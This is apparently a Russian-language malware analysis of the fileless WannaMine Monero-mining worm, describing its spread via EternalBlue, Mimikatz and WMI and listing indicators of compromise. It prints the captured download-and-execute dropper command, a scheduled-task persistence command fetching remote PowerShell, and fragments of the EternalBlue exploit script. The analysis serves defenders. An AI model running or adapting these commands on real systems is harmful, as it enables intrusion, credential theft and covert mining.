Fileless Monero WannaMine

Майнинг криптовалют (например, Bitcoin, Ethereum или Monero) уже не является какой-то диковинкой. Более того, за последние годы мы видели многочисленные атаки, чьей основной целью являлось установка ПО для майнинга. Например, не стоит забывать, что до появления WannaCry мы уже видели хакеров, которые использовали эксплойт EternalBlue от АНБ, чтобы проникать в компании и устанавливать этот тип программного обеспечения на устройства своих жертв.

Можно с уверенностью сказать, что это процветающий бизнес, т.к. сложность атак продолжает возрастать. Несколько дней назад мы обнаружили нового червя, который использует хакерские утилиты и скрипты для распространения внутри корпоративных сетей с последующей целью майнинга криптовалюты Monero в любой сети, где ему довелось «закрепиться».

Когда специалисты из службы Threat Hunting (в PandaLabs) обнаружили следующую команду, пытающуюся выполниться внутри одного из процессов на компьютере, то сразу же была активирована «тревога»:

CMD /V:ON /C FOR /F “TOKENS=2 DELIMS=.[” %I IN (‘VER’) DO (SET A=%I)&IF !A:~-1!==5 (ECHO ON ERROR RESUME NEXT>%WINDIR%\11.VBS&@ECHO SET OX=CREATEOBJECT^(“MSXML2.XMLHTTP”^)>>%WINDIR%\11.VBS&@ECHO OX.OPEN “GET”,”HTTP://STAFFTEST.FIREWALL-GATEWAY.COM:8000/INFO.VBS“,FALSE>>%WINDIR%\11.VBS&@ECHO OX.SETREQUESTHEADER “USER-AGENT”, “-“>>%WINDIR%\11.VBS&@ECHO OX.SEND^(^)>>%WINDIR%\11.VBS&@ECHO IF OX.STATUS=200 THEN>>%WINDIR%\11.VBS&@ECHO SET OAS=CREATEOBJECT^(“ADODB.STREAM”^)>>%WINDIR%\11.VBS&@ECHO OAS.OPEN>>%WINDIR%\11.VBS&@ECHO OAS.TYPE=1 >>%WINDIR%\11.VBS&@ECHO OAS.WRITE OX.RESPONSEBODY>>%WINDIR%\11.VBS&@ECHO OAS.SAVETOFILE “%WINDIR%\INFO.VBS”,2 >>%WINDIR%\11.VBS&@ECHO OAS.CLOSE>>%WINDIR%\11.VBS&@ECHO END IF>>%WINDIR%\11.VBS&@ECHO SET OS=CREATEOBJECT^(“WSCRIPT.SHELL”^)>>%WINDIR%\11.VBS&@ECHO OS.EXEC^(“CSCRIPT.EXE %WINDIR%\INFO.VBS”^)>>%WINDIR%\11.VBS&CSCRIPT.EXE %WINDIR%\11.VBS) ELSE (POWERSHELL -NOP -NONI -W HIDDEN “IF((GET-WMIOBJECT WIN32_OPERATINGSYSTEM).OSARCHITECTURE.CONTAINS(’64’)){IEX(NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING(‘HTTP://STAFFTEST.FIREWALL-GATEWAY.COM:8000/INFO6.PS1′)}ELSE{IEX(NEW-OBJECTNET.WEBCLIENT).DOWNLOADSTRING(‘HTTP://STAFFTEST.FIREWALL-GATEWAY.COM:8000/INFO3.PS1′)}“)

Анализ распространения в сети

Вскоре после начала расследования, мы стали наблюдать, как злоумышленники, зная, что они были обнаружены, закрыли серверы управления (C&C), но перед этим нам удалось скачать следующие файлы:

• B6FCD1223719C8F6DAF4AB7FBEB9A20A PS1 ~4МБ
• 27E4F61EE65668D4C9AB4D9BF5D0A9E7 VBS ~2МБ


Это два сильно запутанных скрипта. “Info6.ps1” загружает модуль Mimikatz (dll) в память (не трогая при этом жесткий диск) так, чтобы можно было осуществлять кражу регистрационных данных, которые позже будут использоваться для горизонтальных перемещений во внутренних (незащищенных) сетях.



Скрипт реализует в Powershell известный эксплойт NetBios, который известен также как EternalBlue(MS17-010), так что он может приступить к заражению в сети других, еще не пропатченных компьютеров с Windows.

$TARGET_HAL_HEAP_ADDR_X64 = 0XFFFFFFFFFFD00010
$TARGET_HAL_HEAP_ADDR_X86 = 0XFFDFF000
[BYTE[]]$FAKESRVNETBUFFERNSA = @(0X00,0X10,0X01,0X00,0X00
[BYTE[]]$FAKESRVNETBUFFERX64 = @(0X00,0X10,0X01,0X00,0X00
$FAKESRVNETBUFFER = $FAKESRVNETBUFFERNSA
[BYTE[]]$FEALIST=[BYTE[]](0X00,0X00,0X01,0X00)
$FEALIST += $NTFEA[$NTFEA_SIZE]
$FEALIST +=0X00,0X00,0X8F,0X00+ $FAKESRVNETBUFFER
$FEALIST +=0X12,0X34,0X78,0X56
[BYTE[]]$FAKE_RECV_STRUCT=@(0X00,0X00,0X00,0X00,0X00,0X00


В то же самое время он использует WMI для удаленного выполнения команд. После того как были получены пароли для компьютера, мы видим процесс “wmiprvse.exe” на этом компьютере и выполнение командной строки, подобной следующей:

POWERSHELL.EXE -NOP -NONI -W HIDDEN -E JABZAHQAAQBTAGUAPQBBAEUABGB2AGKACGBVAG4ABQBLAG4AD…

Если мы декодируем “base 64” у этой командной строки, то мы получим скрипт, представленный в Приложении I.

«Живучесть» в системе

В одном из скриптов можно найти следующую команду, которая позволяет обеспечивать «живучесть» угрозы в системе:

CMD /C ECHO POWERSHELL -NOP “$A=([STRING](GET-WMIOBJECT -NAMESPACE ROOT\SUBSCRIPTION -CLASS __FILTERTOCONSUMERBINDING ));IF(($A -EQ $NULL) -OR (!($A.CONTAINS(‘SCM EVENT FILTER’)))) {IEX(NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING(‘HTTP://STAFFTEST.SPDNS.EU:8000/MATE6.PS1’)}” >%TEMP%\Y1.BAT && SCHTASKS /CREATE /RU SYSTEM /SC DAILY /TN YASTCAT /F /TR “%TEMP%\Y1.BAT” &&SCHTASKS /RUN /TN YASTCAT

Как вы можете видеть, она программирует ежедневную задачу по загрузке и запуску файла “y1.bat”.
Обратите внимание, что в нашем распоряжении нет этого файла, т.к. серверы управления на текущий момент находятся в оффлайне.

Вектор заражения

Мы все еще не знаем первоначальный вектор заражения, т.к. сети, в которых была обнаружена и заблокирована инфекция, были в процессе внедрения решения Adaptive Defense, а потому на тот момент еще не вся сеть была защищена данным решением с опциями расширенной информационной безопасности. По этой причине мы не смогли определить, кто был «нулевым пациентом» и как он был скомпрометирован.

Среди возможных вариантов это может быть загрузка/исполнение файла/трояна, который вначале активировал червя, или он мог быть исполнен удаленно с помощью какого-то эксплойта.

Серверы управления

Из скрипта “info6.ps1” мы смогли определить данные серверов управления.

• spdns.eu
• firewall-gateway.com
• 179.67.243
• 184.48.95

Отметим, что эти серверы перестали работать 27 октября 2017 г.

118.184.48.95



107.179.67.243



stafftest.spdns.eu



stafftest.firewall-gateway.com



IOC

• exe ( Monero, MD5 2ad7a39b17d08b3a685d36a23bf8d196 )
• %windir%\11.vbs
• %windir%\info.vbs
• %windir%\info6.ps1
• dll
• dll
• Tarea programada “yastcat”
• spdns.eu
• firewall-gateway.com
• 179.67.243
• 184.48.95

Вывод

В очередной раз мы являемся свидетелями профессионализации все более совершенных атак. Даже когда речь идет всего лишь об установке майнеров Monero (и мы оставляем в стороне кражу данных, саботаж или шпионаж), злоумышленники используют усовершенствованные техники и специальные тактики. Фактически, это – безфайловая атака, в результате чего большинство традиционных антивирусных решений едва способны обнаруживать ее, а уж тем более как-то реагировать на нее, а ее жертвы могут только ждать генерации необходимых сигнатур (атака безфайловая, хотя, как мы видели вначале, загружаются скрипты и клиент Monero).

Но эти сигнатуры будут относиться только к конкретной атаке, а потому даже при ее малейшем изменении, они будут бесполезны, не говоря уже о том, что обнаруживается только результат атаки (ее конечная стадия), но при этом не видно, как атака развивается в сети и каким образом компрометируются компьютеры.

Поскольку последнее поколение решений безопасности не только классифицирует все запущенные процессы на каждом компьютере, можно осуществлять мониторинг всей сети в реальном времени, что становится крайней необходимостью, т.к. хакеры прибегают к невредоносным техникам, в которых они злоупотребляют вполне легитимными системными утилитами.

Наблюдая за всеми процессами, мы можем найти следующие события:

• Создание процесса и удаленное внедрение кода
• Создание, модификация и открытие файлов
• Создание и модификация записей в реестре
• Сетевые события (communication aperture, загрузка файла и пр.)
• Административные события (создание пользователей и пр.)